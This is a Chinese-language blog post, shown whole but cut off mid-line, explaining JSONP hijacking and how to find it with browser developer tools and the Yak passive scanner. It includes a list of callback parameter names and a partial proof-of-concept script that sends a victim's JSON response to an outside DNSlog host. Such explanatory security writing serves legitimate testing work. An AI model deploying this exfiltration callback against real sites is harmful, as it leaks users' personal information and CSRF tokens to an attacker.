基于Yak的被动扫描jsonp识别

原创

已于 2023-11-08 11:55:29 修改 · 437 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#网络 #安全 #自动化

于 2023-11-08 11:55:20 首次发布

本文探讨了JSONP跨域技术的利用和潜在的劫持漏洞，介绍了如何通过开发者工具挖掘JSONP漏洞，以及使用Yak工具进行被动扫描以检测和发现这些漏洞的过程。

作者：@shangzeng师傅

什么是JSONP劫持漏洞

同源策略(同协议、同域名、同端口)导致的不同域名的网站无法传输数据，但是在某些时刻我们有需要进行跨域传输数据。

这时候jsonp身为跨域的方法中的一个就孕育而生了，由于html标签中的<script> 、<img>、<iframe> 这三个标签是允许进行资源的跨域获取的，jsonp就是利用了这三个标签中的其中一个 <script> 利用js代码动态生成script标签然后利用标签中的src属性来进行资源的跨域调用。

在数据传输未设置有效的校验的情况下，就有可能导致JSONP劫持漏洞，造成信息泄漏。

在配置存在问题的情况下，jsonp使用回调函数来在第三方网站调出我们的敏感信息，从而达到获取敏感信息的目的，常见的利用场景如下：

获取个人信息，蓝队反制，蜜罐溯源等等
用于跨域传输数据，通过jsonp发起请求，得到泄露的csrf_token然后，利用这个token 实现CSRF 攻击

JSONP 漏洞挖掘原理

常规方式

使用火狐/谷歌浏览器打开开发者模式，选择Network，勾选Preserve log选项，防止干扰

在左下搜栏目寻找或者在可能存在jsonp的地方添加检索相应的关键字，访问目标相关网站即可：

 jsonp  
jsoncb  
jsonpcb  
cb  
json  
jsonpcall  
jsoncall  
jQuery  
callback  
back

在JSONP挖掘中，并不是只有callback才会出现JSONP漏洞，我们可以自己构造调用，毕竟<script>标签不支持同源策略，只要没有referer等限制，就有可能存在漏洞，其中POC如下：（这里使用DNSlog来获取回调的信息）：

<script type="text/javascript">function jsonp_1610359498402_9620(json){  
alert(JSON.stringify(json))  
new Image().src="http://xxxx6.ceye.io/" + JSON.stringify(j